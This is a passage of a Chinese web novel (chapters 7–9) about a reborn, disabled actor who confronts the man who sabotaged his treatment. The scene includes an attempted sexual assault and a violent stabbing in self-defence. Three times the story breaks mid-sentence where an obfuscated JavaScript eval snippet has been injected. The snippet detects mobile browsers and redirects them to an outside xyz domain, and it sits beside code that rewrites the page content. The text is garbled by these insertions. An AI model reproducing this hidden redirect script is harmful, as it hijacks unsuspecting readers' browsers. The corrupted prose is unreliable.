景瞬慌乱地去摸自己的双腿,却触到一片虚无。 渐渐地,他的周围就出现了很多人,散不开的黑雾笼罩着他们的面容,却挡不住他们诛心的言论—— “这不是景瞬吗?眼看着事业才回温,这腿怎么摔没了?可惜哦。” “都残疾了还怎么回娱乐圈混啊?” “就是,我要是变成他这样子,活着还有什么意思?” 各种各样的嘲讽钻入耳朵,诛杀心脏,景瞬无法忍受,只能拼命往外爬,想要逃出这个令他窒息的空间。 终于,黑雾中散出了一点儿光亮。 混乱的片场眨眼变成了那个熟悉而冰冷的家,景瞬还瘫在地上,整个身子都被冻麻了。 脚步声响起,左拥右抱的迟盛从里面走了出来,居高临下的视线里充斥着轻蔑: “阿景,爬啊,爬得再快点,我最喜欢看你挣扎不放弃的样子了,特别招人喜欢。” “对了,你这双腿本来是有希望恢复的,是我让医生团队故意拖着你,我就想要看着你慢慢枯萎……” “阿景,你看连你爸妈都不管你了,除了我,还有谁在意你?这辈子你就只能烂在这里!烂透了!” ——不! ——不是这样的! 景瞬猛然睁眼,心跳猛烈得几乎要从胸口炸出来,冷热汗交替流不止,整个身子都覆上了一层薄薄的潮感。 滋滋滋。 床头柜上的手机响起震动。 景瞬艰难爬坐起来,看清屏幕来电的那一刹那,内心正浓的阴霾顷刻裹挟了他的理智。 是迟盛! 对方在宴会结束后就没了动静,这会儿居然又想起给他打电话了! 一想到梦里那张嘴脸,景瞬的呼吸不受控制地急促了起来。 他颤抖着将迟盛打来的电话挂断,加入黑名单,又将关于对方的社交方式全部删除! “哐!” 手机失手掉在地上,砸出沉闷声响。 景瞬紧绷的心弦跟着挣断,他伸手捂住自己的脸,放任还在失控的呼吸声,昨天宋老教授的话还回荡在耳边—— 他的腿分明是有机会好转痊愈的!难道上辈子真的是迟盛在背后捣鬼、耽误了他的病情? 可到底是为什么呢? 他临死前,迟盛说的“报复”又是指什么呢? “叩叩。” 敲门声响了起来,打断了景瞬的思绪。 管家林叔在屋外问,“小景先生?我听见里面有动静,是醒了吗?” “嗯。” 景瞬压制住自己蔓延的痛苦情绪,应了声,“醒了。” 林叔说,“小景先生,你家中的物品都已经差人运过来了,待会儿就能搬进去。你要是休息好了,可以下楼吃早餐。” “谢谢林叔,我待会儿就下去。” 景瞬拉来一旁的轮椅,小心翼翼地挪动了上去,有了轮椅的助力,他以最快的速度收拾完了自己,下了楼。 电梯门一开,餐厅里的香气就扑了过来。 迟归穿戴整齐坐在主位上,管家站在他的边上,除此之外,助理陈易铭和另外一个陌生的年轻男人坐在侧边。 因为听见了动静,餐桌上的四人纷纷看了过来。 林叔最先招呼,“小景先生,你坐这边,要吃点什么?” 景瞬靠近,“有粥吗?我早餐吃得不多。” 其实不是吃得不多,而是一日三餐都不怎么按时吃。 林叔先给他倒了一杯温水,“瘦肉粥可以吗?厨房有的。” 景瞬点了点头,攥着水杯没有动弹,而是先看了一眼主位上的迟归。 对方正低头喝着咖啡,神色静默,举止从容,似乎没有要和他对视打招呼的打算。 “……” 景瞬犹豫了一下,没有开口打扰,而是看向了侧边的另外两人。 陈易铭对上他的目光,笑道,“景先生,早上好,给你介绍一下,这位是韦迪,是先生在集团的行政助理之一,和我一起共事。” 除了他们,迟归在集团还有三位秘书,有各自要负责的板块。 韦迪长得比较酷,对着景瞬点了点头,“小景先生,初次见面,早上好。” 景瞬保持礼貌,微微一笑,“两位早上好。” 余音未落,迟归就将咖啡搁在了桌上,动静不大,但很有存在感。 “今早谁煮的咖啡?味不对。” 轻飘飘的一句话,轻易引起了餐桌上其余三人的注意力。 陈易铭第一时间起身,“先生,我给你重新做一杯?” “算了。”迟归的关注点压根没在这上面,他问向景瞬,“你脸色怎么这么差?” “……” 还是很差吗? 景瞬没想到自己极力掩饰,却被迟归一眼就看出了端倪。 林叔正好端着皮蛋粥走了回来,“小景先生,是感冒不舒服吗?” 景瞬向来能藏事,摇头,“没事,我就是有点认床,待会儿稍微补一下觉就行。” 与其说是感冒,还不如说是心理负荷过重才引发的不适。 昨晚不是他第一次做类似的噩梦,受困轮椅的那五年里,景瞬有无数次被惊醒的时刻,醒来后,他总是一个人面对是漆黑而空洞的房间。 再后来,景瞬宁愿孤零零地醒上一夜,也不愿意坠进周而复始的噩梦里。 迟盛作为名义上的“恋人”,永远是推脱着不来陪他的。 曾经有过很长一段时间,景瞬不敢面对这样无能又懦弱的自己,他拘着自己不愿外出社交,也拒绝朋友们的关心。 渐渐地,他的性格里染上了阴郁而孤僻的底色。 曾经有人给过景瞬建议:让他有空去看看心理医生,不应该把自己束缚在一小半天地,更不能永远困在那场事故里。 景瞬比谁都清楚自己的负面情况,却始终迈不出自救的那一步,他觉得自己早晚会被黑暗吞噬。 反正哪哪儿都是医不好的,这残存的身体和麻痹的心,总有一个要先死。 ——滋滋。 有手机响起了震动。 韦迪拿起来看了两眼,立刻凑到了迟归的耳边交代着什么。 “……” 景瞬舀着粥,默默望了过去。 迟归垂眸不语,周遭的气场却渐渐逼人。 直到助理交代完毕,他才似笑非笑地丢出一句,“在我眼皮子底下庆祝?” “大房最近的气焰挺嚣张。”韦迪低声请示,“先生,我看也到了该给他们灭火的时候了。” 迟归眉梢微动,似乎是又想起了什么,“景先生。” 他抬眼,精准无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050919|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误地对上了景瞬的视线。 被抓包的景瞬没闪躲,“嗯?” 迟归开门见山,“明晚大房举办了一场私人晚宴,你跟我去看看?” “……” 大房? 是迟盛他们家吗? 景瞬心脏微不可查地一紧,心头还未解除的疑云再次浮现,“什么性质的晚宴?需要我提前准备什么吗?” “不用准备。” 迟归看出他一闪而过的迟疑,着重表示,“你明晚待在我身边就行。” 景瞬想到和迟归之间的协议关系,没有拒绝,“好。” … 转眼就到了第二天晚上。 景瞬本来以为大房的晚宴定在外面的星级酒店,没想到,宴会的举办地点就在迟宅里面。 直到陈易铭带着他来到大房所住的南楼洋房,景瞬才后知后觉记起,自己上辈子就来过这场宴会! 那时,他和迟盛才成为“恋人”没几天,对方就迫不及待地想要带他见父母。 景瞬对这事有点抗拒,总觉得不应该这么随便,但迟盛趁着他行动不方便,说着是要出门约会,实则先斩后奏地把他“拐”了过来。 于是景瞬别无他法,只能硬着头皮进场。 记忆中,这场晚宴似乎是在庆祝大房拿下了什么商业项目,还有不少豪门宾客参与其中,根本不是“见父母”的恰当场合。 回想起来也奇怪—— 面对坐轮椅到场的景瞬,迟婷的态度始终很冷淡,看得出是在极力压制自己的不喜欢,但也没有要拆散他们的意思。 那时的景瞬以为是迟盛在暗中转圜调劝说,如今知道了后者的真实态度,才觉得其中必然还有他不知道的隐情。 “……” 景瞬不着痕迹地探向了自己大衣口袋,指尖刚触及了一点冰冷,头顶上方就响起一道熟悉的声音,“在想什么?” 景瞬停顿,慢半拍地抬头—— 迟归是从外面回宅的,没穿正儿八经的西装,而是一身黑色大衣,很低调,唯有两侧领口上绣着暗银色的老鹰图样。 不过,他左手大拇指上戴了一个板指,正面瞧着同样是一只老鹰,鹰眼是用黑色钻石镶嵌的,看得出做工精致且不菲。 景瞬收回自己的视线,答非所问,“迟先生,我们会不会来迟了?宴会好像已经开始了。” 迟归昨天说不用特意准备,所以他就没换宴会场所该穿的西装,而是穿了一件寻常的米色大衣。 不过夜晚风凉,这才出门一小会儿,他就有点冷了。 迟归瞥见景瞬隐隐冻红的耳垂,眉心微蹙。 他从韦迪的手中取来自己不久前才摘下的黑色围巾,俯身将其圈在景瞬的脖子上。 迟归的手很规矩,根本没有触碰到皮肤半分,但景瞬还是意外地轻吸了一口气,“迟先生?” 微微裸/露的颈侧传来暖意,似乎是围巾上残存的温度,还带着一点儿熟悉的茶香。 迟归对上他那双潮润的桃花眼,“让你不用准备得那么正式,不是让你来这儿感冒的。” 景瞬闷声辩解,“我穿挺厚了。” 话虽如此,他还是将小半张脸都藏了围巾里,接受了这份温暖的好意,“谢谢~” “……” 迟归没由来地顿了两秒,然后才直起身看向了灯火通明的洋房,回答了他的上一个问题: “现在人齐,进去刚刚好。” 8. 【第008章】 四层的豪华洋房此刻灯火璀璨,一层连带着外厅的草坪和泳池,组成了半露天的宴会场所。 身为东道主的迟婷穿着一袭深绿色的高定缎面裙,披着同色系的羊绒披肩,哪怕年近五十,依旧光彩动人。 有宾客举着酒杯在她身边吹捧,“婷总,恭喜啊,吉盛那个项目可不是一般人能吃得下的,还得是您有本事。” 又有人凑上前来,“来,婷总,我也敬一杯,我们方家这次能在吉盛项目里分一杯羹,还得多谢您的抬举。” 迟婷笑了笑,面子工程做得很好,“两位老总客气了,同喜。” 她环视了一圈宴会场地,干脆挽住一旁丈夫的胳膊,“御风,你好好招待一下,我进屋一趟。” 林御风是入赘进了迟家。 这些年,他对内是迟婷的贴心好丈夫,对外是迟婷事业上的左膀右臂。 一听见妻子的吩咐,林御风立刻应下。 迟婷趁机得了空,踩着高跟鞋快步走进室内,她将酒杯搁在佣人的托盘里,客套的笑意尽退,“小盛呢?” 佣人如实说,“少爷刚喝了醒酒汤,这会儿正在屋内换衣服。” 迟婷蹙眉,“……没个分寸。” 迟盛的房间在三楼,迟婷推门而入,就瞧见他还在慢吞吞地系着领带,脸上的醉意还没消退干净。 母子两人对上目光。 迟盛揉了揉发胀的太阳穴,“妈,你怎么上来了?” “你还好意思问?知道今晚是什么场合吗?” 迟婷瞥见迟盛肩头的吻痕,越发来气,“你不提前回来帮衬就算了,昨晚居然还跑出去鬼混?” 只是她嘴上教训,却还是走近替自家儿子系领带。 迟盛微微仰头,“我今晚不下去行不行?喝多了头疼。” 离那场颜面尽失的宴会还不到一周,他实在不想应付这样的场合,就怕有宾客对他投来戏谑嘲讽的眼神。 迟婷恨铁不成钢,“那个景瞬当着其他少爷小姐们的面编排你几句,你就没脸见人了?难不成,你真对那个瘸子动了心思?” “妈!” 迟盛及时制止,磨了磨后槽牙,“我对他能有什么狗屁心思?我又不喜欢男的。” 之所以从小结交景瞬,不过是看重了他那张脸和演员身份,外出称一句“朋友”显得有面。 告白一事确实存了私心算计,可他没想到景瞬摔断了腿、还摔坏了脑袋,居然不顾这些年的交情,当众否了他的脸面! 迟婷将领带摆正,“行了,收起你那点没用的小算计,我告诉你——” “今晚请来的宾客都是商圈有头有脸的人物,待会儿我会当众宣布吉盛项目由你接手负责,这个圈子看重的是利益,手握项目权力才有脸面,你那点情啊爱啊的谈资,不出半个月就不算事了。” 迟盛被酒意浸染的脑袋清明了些,深吸一口气,“妈,你故意将宴会往家里摆,就不怕北楼那位知道?” 迟氏从上三辈就流传下来一个不成文的规定:只有一家之主,或是得到了一家之主的允许,才能在宅内举办宴会。 换句话说,只有迟氏掌权人才有这个资格。 迟婷眼中的恨意显露,“那个野种知道了又怎么样?吉盛项目已经是板上钉钉了。” “阿盛,只要你争气,爸妈会帮你把属于我们大房的东西一点点挣回来!” 母子同心。 迟盛露出是在必得的一抹笑,“妈,你放心,有朝一日,我一定要让迟归滚下那个不属于他的位置。” … 母子两人刚回到一楼,林御风就迎了上来,“宾客都到齐了,直接上去发言?” 迟婷颔首,重新挽起丈夫的手上了台。 迟盛瞧见父母恩爱的背影,得意挑眉,他招来侍者端起一杯威士忌,也跟了上去。 “各位宾客晚上好,首先感谢大家的到来,接下来,还请容我简单说两句。” 迟婷从容开场,吸引了全场宾客的目光,“今晚举办这场宴会的原因有二——” “一是为了庆祝我们迟氏润光科技顺利拿下了吉盛生物项目,不日将会和有关部门签订长达十年的科研和产投。” “二是为了宣布犬子迟盛将会全面接手、并且负责吉盛这一项目,日后还请诸位多多关照。” 这段话一出,全场无一不露出了惊羡的目光。 曾经有行内人估算过,吉盛项目的年产值至少在十五个亿往上! 如果一签就是十年,那作为主公司的润光科技可不就赚翻了!连带着总负责人的迟盛和大房一家的身价都会跟着水涨船高! 只是庆贺的掌声还未响起,人群后方就响起了一阵骚动—— “迟董来了!” “迟先生怎么来了?” 在此起彼伏的惊呼声中,宾客们甚至自发退开了一条道路。 迟归稳步走了进来,带着睥睨一切的冷硬姿态,身形挺阔的他瞬间成为了整个宴场的焦点。 与他同行的,除了平日经常露面的助理,竟然还有一位坐着轮椅的年轻男人! 对方的小半张脸都被裹进黑色围巾里,但还是能看得出面容白皙而柔和,尤其是那双眉眼,生得格外精致。 迟归并没有走得很急,反倒隐约在配合轮椅的前进速度。 有人发出疑问,“跟在迟先生边上的年轻人是谁啊?没见过啊。” “能和迟先生并着走,来头恐怕不小吧。” “等等,我怎么觉得有点眼熟呢?一下子想不起名字了。” 景瞬无视了全场暗中的议论,视线直直对准了台上的迟盛。 “……” “……” 迟盛霎时捏紧了手中的酒杯,而大房夫妇更是没料到这些不速之客,对视了一眼。 稳住心神的迟婷走下台面,对上迟归,“你怎么来了?” 虽然两人是同父异母的亲姐弟,但向来没什么亲缘感情可言。 迟归没有直接回答,而不咸不淡地环视了一圈的宾客,那双幽深漆黑的眼宛如巡视领地的鹰,“大姐这儿挺热闹。” 人群里的方总突然被他锁定,顷刻紧张起来。他勉强壮着胆说,“迟先生,婷总拿下了吉盛那个项目,请我们来庆祝庆祝。” “庆祝?” 跟在后方的韦迪抓准时机,“婷总,您这半场开香槟,是不是为时过早了?” 迟婷隐隐不快,“什么意思?” 韦迪将手提包里的红章文件拿了出来,“先生提前得到的内部消息,和你们润光合作的方氏智能长年存在违规操作、篡改企业数据,经过有关部门的多方考量,润光已经失去合作资格了。” “不过多亏先生出面力挽狂澜,从下周开始,迟氏集团将会接手这个项目核心,今天下午就已经签完合约了,婷总,您还不知道吗?” 一番话,炸起轩然大波。 “这不可能!”迟婷夺过韦迪手中的文件,一目十行地确认了上面的内容。 听见自家被点名的方总也慌了神,他连忙凑上前去看了两眼,“婷、婷总,你听我解释啊,这数据都在标准范围内,本来不、不会有大影响的!” 他到底哪里得罪了迟归?对方想要这项目,怎么就拿他们方家开刀了呢! 要是背上了搞砸项目的锅,以后他们家在圈子里还要怎么混! 迟婷将这份文件砸在方总的手里,怒目对准迟归,“你的手笔?!” 方氏在整个项目上的占比不到百分之二,所谓的数据违规不至于构成大问题,哪怕被揪出来,稍微花点钱就能通融翻篇,怎么可能不打一声招呼就易了主! 除非是迟归一开始就布好了局,就等着他们露出破绽、前功尽弃! 迟归面不改色,“集团临时顶上接手,还能看在自家人的面子上润光分一杯羹,要是换了别家公司接手,那你们就什么都得不到了。” 在场宾客都是明眼人,哪里能看不出其中的端倪?只是他们作为外人不好发声。 迟盛窝火,“小舅舅,这么说起来,我们一家还得谢谢你?” 迟归瞥了他一眼,“用不着谢,你在我这儿想当项目总负责人还不够格。” 轻描淡写一句审判,噎得迟盛说不出话。 景瞬默默听着双方的言论,嘴角并不明显地翘了翘,作为局外人,他并不知晓这项目的重要性,更不在意这项目花落谁家。 但景瞬看得出来,迟归明显是设局之后半路截胡、偏要装出临时力挽狂澜的姿态,简直能把大房气得七窍升天。 难怪迟盛以往对他那么憎恶,不过今时不同往日—— 见到迟盛当众吃瘪,景瞬悠悠添了把火,“大少爷的心思一向用在男欢女爱上,确实不够格。” 迟盛脸色一僵,“阿景!” 迟婷抢先,“你算什么东西,敢在这里造谣我儿子?” 她心头的无名火正盛,不好对着迟归起正面冲突,这才将矛头指向景瞬。 “……” 迟归眯了眯眼,周遭的气场瞬间沉了些。 “你该问问你儿子算什么东西。”景瞬没有被迟婷的质问唬住,而是当众点破,“我记得迟盛和方家少爷方昱玩得不错?狐朋狗友的。” “是他牵线搭桥让方家参与了这个项目吧?好有眼光啊。” 一句轻飘飘的推论直击迟婷的命门,也让迟盛陷入更深的难堪。 要不是迟盛自以为是地将方家拉入项目,要是没有方家这点数据造假和破绽,说不定吉盛项目没那么容易黄! 迟婷深知这点,一口气上不去下不来。 “……” 迟归垂眸看向轮椅上的景瞬,没想到对方身在局外、脑瓜子却转得挺快。 他溢出一声短促的、近乎不可觉察的笑音,看似随意地将手搭在了轮椅后把手上。 众人瞧见这一幕,越发震惊: 这叫景瞬的年轻人,和迟归到底是什么关系啊?这看上去不像是普通朋友那么简单吧! 很快地,就有宾客反应过来,“等等!我想起来了!” “我女儿前几天回家说了,迟大少爷在这追求景瞬、还包了宴会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050920|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅告白,结果他不但严词拒绝了,还跟着迟董跑了!” “还有这种事?” “外甥和舅舅抢上同一个人?这不能够吧?” “……” 陈易铭听见边上的嚼舌根,适时打断,“诸位老总,我们先生命人在主宅重新备了暖宴,门口的接驳车都已经到位了,欢迎各位随时移步。” 宾客们面面相觑,却都有些蠢蠢欲动—— 迟家大房再厉害,哪能比上真正掌权的迟归?谁不想要和后者攀上一点儿关系? 只不过迟归平时为人低调,才让他们找不到巴结的门路,今晚这机会是从天上掉下来的,又怎么能错过呢! 终究有势利的宾客按耐不住了,他们虚情假意地和大房夫妇说了几句场面话,率先结对往外走了。 剩下的人见此,纷纷效仿。 没一会儿,这场宴会的宾客就走了大半。 哪有庆功宴才开场就闹成这副模样的?要是传出去,大房的脸面往哪搁! 迟婷忍无可忍,“迟归!你别欺人太甚!” 迟归转动着象征家主权利的扳指,睨了过去,“大姐,你最近的胃口实在太大了,就不怕撑坏?” 这是暗示,更是明晃晃的警告。 林御风暗中制止了妻子,“阿婷,别冲动。” 毕竟迟归是现任家主、集团董事长,公然和他作对没有什么好下场,以往那些旁支亲戚的落败就是最好的例子! “好你个窝囊废!” 迟婷狠狠瞪了丈夫一眼,踩着高跟鞋扬长而去。林御风对着迟盛尴尬笑笑,连忙追了上去。 迟归无所谓他们夫妻之间的争执,他轻敲了一下景瞬的轮椅靠背,“走吧。” 大部分的宾客都顺着他的面子往主宅走了,今晚横竖是得应付一下。 景瞬点头,调转轮椅方向。 台上的迟盛看着景瞬的背影,下意识地喊,“阿景!” “……” 景瞬像是没有听见,一言不发地往外走。 迟盛刚打算下台去追,却猝不及防地对上了迟归发沉的视线,他的脚步骤然停顿,再不敢往前一步。 … 五分钟后,接驳车在主宅门口停下。 庄严而华丽的主宅已经提前布置妥善,放眼望去,亭台楼阁,曲水流觞,宴会规格看上去比大房还要气派。 景瞬看在眼里,没忍住暗忖: 人人都说娱乐圈演员来钱快、生活光鲜亮丽,可比起真正的豪门世家,那还是差得远了。 这一通宴席下来,恐怕能抵上一部小成本电影的投资了。 “现在应该有不少宾客在猜测你的身份,要是待会儿不想被打扰,可以全程跟在我的身边,没人敢随便找你事。” 走在前面的迟归突然转回了身,景瞬一个没注意,连人带椅差点撞上去。 他抬起头,有些意外,“不用和大家明说我们之间的‘关系’?” “这些宾客都是人精,该猜到的,自然会猜到。”迟归昏暗中的眉眼掠过一丝微光,反问,“你如果觉得有必要,我也可以当众提一提。” 景瞬一时答不上来,“你是甲方,你说了算。” 迟归移开眼,心如明镜,“很多时候,脑补和猜测远比实话实说来得更有传播效果,而且……” 他顿了顿,眼里带着旁人看不懂的深意,“将来你要是后悔了这份协议,就还能有退路。” 后半句话传入耳中,惹得景瞬心头一震。 忽然间,有心急的宾客组团迎了上来。 “迟董,你可算来了。” “迟先生,没想到今晚还能有这个荣幸……” 说话间,一行人就将迟归团团围住,恨不得立刻就抱上这尊财神爷、以求利益。 景瞬坐着轮椅,本来就比旁人要矮上一些,这一会儿差点就要被淹没,他连忙转动着轮椅后撤,没打算参与这场虚与委蛇的交谈。 滋滋。 口袋里的手机响起震动,是个陌生号码发来的消息:“阿景……” 景瞬看了个开头,立刻把这个号码拉入了黑名单,他将手机收回口袋,指尖又触到了那抹冰凉,凉上心尖。 修长的睫毛遮盖住了景瞬渐沉的眼色,他问陈易铭,“陈助,洗手间在哪里?我想去一趟。” 陈易铭指了一个方向,“小景先生,我带你去?” “不用了,你留在这里陪迟先生吧。”景瞬瞥了一眼还被围在人群中的迟归,给出恰当理由,“我找个侍者带路,去去就回来。” 身后宴会的喧闹渐渐降低,确认隔开众人的视线后,景瞬就将随手招来的侍者遣退了。 他没有往陈易铭所指的方向走,而是拐进一方回廊。 老宅平日里无人居住,不在宴会范围内的灯光很幽暗,不过每隔一段路就会有个夜光监控摄像头,看起来很安全。 轮椅在青石板的地面上滑动出声,除此之外,后方还跟着逐渐明显的脚步声。 景瞬早有预料地停下,神色漠然,“迟盛,你有完没完?” 9. 【第009章】 “……” 藏不住的迟盛绕到了景瞬的面前,有些惊喜,“阿景!你、你愿意理我了?” 他身上的酒味传来了过来,景瞬不喜蹙眉,“别这么叫我,迟少,我们不熟。” “不熟?” 迟盛听见这一说辞,露出难以置信的神色,“什么叫做不熟?我们认识快十年了!阿景,我到底哪里对不起你?才让你突然这么对我!” 在出事之前,景瞬向来都是很依着他的。 虽然因为拍戏和学业,两人算不上常常见面,但从来没闹过明面上的矛盾,更不会像现在这样僵持! 那晚宴会结束后,迟盛堵着少有的憋屈无处发泄,他存心不去联系景瞬,就想着等对方主动上门道歉求和。 但他没想到,景瞬比想象得还要决绝—— 不仅以意想不到的速度搬了家,删除并且拉黑了他所有的社交方式!简直就是性情大变! 凭什么!从小到大,只有别人上赶着和他攀关系,他就没有被任何人这么无情“甩”过! 迟盛心里不服,面上却装出一副委曲求全的姿态,“阿景,你要是对我有误会,我们可以好好聊开,好吗?” 景瞬听见迟盛的控诉,不怒反笑,“聊聊?行啊,那我问你——” “你说我们是朋友,这些年,你有真正了解过我吗?” “你说我出事后才意识到喜欢我?你喜欢我什么呢?问个最简单的,你知道我喜欢喝什么吗?” 迟盛哽了哽,回答不上来。 他在外装得风光霁月、温文儒雅,实则甚少把人放在眼里,向来只有“朋友”了解他、讨好他的份,哪里去真正了解过景瞬的喜好和需求? “迟盛,你不知道,你也不喜欢我。” 景瞬直视着迟盛的眼眸,说出早已看明白的事实。 “你只是看中我的‘演员’身份,看得上我这张还算对你胃口的脸,对外称一声朋友,不至于让你丢面子。” 迟盛目光微闪,接不上话。 景瞬控着轮椅上前,仰头审视着眼前人,“其实我一直在想,我这双腿的后续治疗会很漫长,如果我接受你的告白、和你在一起,你会有耐心陪着我看病吗?” “会!我当然会!” 迟盛还以为是景瞬有所松动,连忙凑到他的身前,“我会给你预约最好的医疗团队,一定想办法替你请宋春晖教授出山,你信我!” “阿景,在我眼里,现在没什么比你的双腿更重要!我其实还给你找好了外国的医疗团队!” “只要你愿意,我明天就带你出国去找他们!我会陪着你,一直陪着你!” “……” 与上辈子近乎一致的深情言论传入耳朵。 但景瞬脑海中浮现的,是无数个孤独无依的黑暗日子,以及那个他不愿意再回忆的寒夜。 景瞬眼眶泛出红意,不是感动,而是日益加剧的猜忌和恶心,“外国的医疗团队?” “对!” “你是想请他们治好我的双腿?”景瞬看着眼前的迟盛,一字一句地逼问,“还是想请他们拖延我的治疗、耽误我的病情,好让我这辈子再也站不起来?!” 轰隆! 质问在迟盛的脑子里骤然砸下,震得他僵在原地: 不可能! 景瞬怎么会猜到他的真实意图?这不可能! 酒意拖延了思绪和反应,迟盛来不及遮掩脸上的错愕,眼中的慌乱和闪躲就成了最佳佐证。 景瞬瞧见他的反应,颤抖地溢出一声苦笑,“所以,你真是这么想的!” 看来,他上辈子真是有机会能好起来的?是迟盛利用了他的信任,借着“恋人”的身份给他设局编造了一个巨大的谎言! 前两年的嘘寒问暖是假的,关心呵护是假的,想要塑造深情人设是真的,怕他察觉出端倪才是真的! 之后说着“公司忙”、“事业忙”,不过是确认了他的双腿再也没了治愈的可能,慢慢减少了伪装。 景瞬双手紧攥着轮椅把手,哪怕早对迟盛的真实品行有所预料,但此刻的他还是感受到了灭顶的痛苦和阴暗。 他忽然觉得脖子上的围巾缠得很紧,偏偏胸腔里的空气一点一点地往外挤出,窒息感渐渐逼了上来。 迟盛凑上前来,还想要狡辩,“阿景,不是这样的,你别瞎想……” “滚!” 景瞬的思绪处在失控的边缘,用尽全力将他推开,“你滚开!别碰我!” 他连人带椅后撤,“迟盛,我再没见过你比更恶心下作的人!” 迟盛没稳住重心,摔在了青石地砖上,手腹蹭破了皮,陡然冒出的痛意和上头的酒意交织,让他再也伪装不下去了。 “景瞬!一而再再而三,我已经够给你脸了!我恶心下作?你呢?你又算什么?!” 今晚景瞬和迟归共同出现在了宴会现场,将他们大房的庆功宴搅得乱七八糟,言行举止间就差把他们见不得人的关系摆在众人眼前了! 迟盛看在眼里,同样有了一种被欺骗、被背叛的滋味! “我看你早就背着我爬上迟归的床了吧!你一直就知道我和他关系不好,只能二选一,才会用这种极端方式把我甩掉!” 迟盛从地上爬了起来,原形毕露,“怎么?我小舅舅把你艹得够爽吗?没想到他迟归还是个恋/残/癖!” 景瞬听见这番荒唐的言论,眸底弥漫上了从未有过的厌恶和恨意。 他短促瞥了一眼不远处的监控,朝回廊内侧偏过轮椅,“迟盛,你用不着这里发癫,现在在我眼里,你哪哪儿都比不上迟归!” “……” 哪哪儿都比不上? 名为不甘和嫉妒的情绪急速攀升,昏暗的廊灯下,迟盛的面容近乎扭曲。 他大跨步上前抓住了景瞬的手臂,充斥着醉意的眸底开始浮动恶意,“景瞬!你有什么资格来点评我?” “你放开我!” “我偏不放!” 迟盛用蛮力将景瞬从轮椅上拽了起来,还一脚踹翻了他身后的轮椅,“你以为和迟归在一起就万事大吉了?” 哐当! 轮椅砸在地上,发出沉重声响。 失了支撑的景瞬往下一栽,而迟盛更为野蛮地踹开了一侧厢房的门,将他重重推了进去。 景瞬毫无防备地摔在地上,后背连着腰椎泛起了不正常的钻心的钝痛,呼吸凝固。 恍惚间,景瞬像是又回到了那个寒冷的雪夜。 他看着迟盛将厢房木门上了锁,一步步地靠近他、弯下腰,“景瞬,虽然我只玩女人,但我今天可以为你破一次例!” 迟盛扯掉景瞬的黑色围巾,强行跪压在他的身上,“你以为迟归有多爱你?你以为他能忍受你和我发生关系?” “迟盛!你疯了吗!滚开!” “我这不是疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050921|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你看吗?”迟盛的脸上浮动恶意,指尖触碰到了景瞬滑腻的颈侧,“阿景,我对你倒也不是不可以。” “……” 景瞬只感觉胃里翻涌得厉害,咬紧了牙齿才忍住呕吐,他趁乱探入自己的大衣口袋,在迟盛俯身贴身的瞬间,迅速将手中的物品抵了上去。 滋滋滋! 强劲的电流以意想不到的速度流遍全身,迟盛毫无防备中招,抽搐着倒在一侧! 景瞬爬出他的控制,又一次用力地将手电棒抵了上去,沉着脸色直接调到了最大档。 “啊——” 迟盛被电到发出近乎破碎的音节,瘫软在地上抽搐。 景瞬打开电棒的另外一头,露出一节小小的刀刃,冷光掠过他猩红的眼尾,映照出那近乎疯狂的、阴鸷的杀意。 “迟盛,这是你自找的!” 利刃刺破西装面料,温热的液体溅在了手上。 迟盛感受到大腿传来的剧痛,原本被电麻的大脑又被激得清醒起来,他不可置信地抽气,企图逃离的景瞬,“你……你……” 黑暗中,景瞬的神色像是变了一个人,“我让你动了吗!” 手起刀落,迟盛的右腿也被扎出一个血洞。 在双重痛苦的加持下,迟盛脸色顷刻惨白,可刀刃还刺在腿上,唬得他不敢再轻举妄动。 景瞬紧攥着电击刀不放,沾上血迹的手背泛起淡色青筋,他盯着满脸恐惧的迟盛,脑海里浮现的却是对方伤害他的画面—— “景瞬就是个这辈子只能坐轮椅的废物,还是个男的,我怎么可能会喜欢他?” “我看见他那双软绵无力的腿就觉得恶心想吐,压根碰都没有碰过,哪里提得起兴趣?” “实话和你们说了吧,我啊,这几年就喜欢躲在监控后面看他不小心摔倒后、在地上拖着双腿狼狈爬行的样子,可有趣了。” “……” 景瞬盯着痛苦到扭曲的迟盛,满心荒凉。 曾几何时,他是真的信任过眼前人,也真将对方那点虚假的“关爱”当成活下去的一丝希望! 哪怕不是出于恋人,那也是出于多年友情的信任和依赖。 到头来得到了什么呢? 是被刻意拖延、失去了站起来的机会,是被当成逗趣玩物一样羞辱,是被故意推倒在冷冰冰的地上,更是迟盛的见死不救、无情离去! 如果不是侥幸拥有了重来一次的机会,那他现在恐怕已经成了一具冷冰冰的尸/体了! 也许是察觉到景瞬的失神,恢复了一点儿力气的迟盛伸手就想要将他推开。 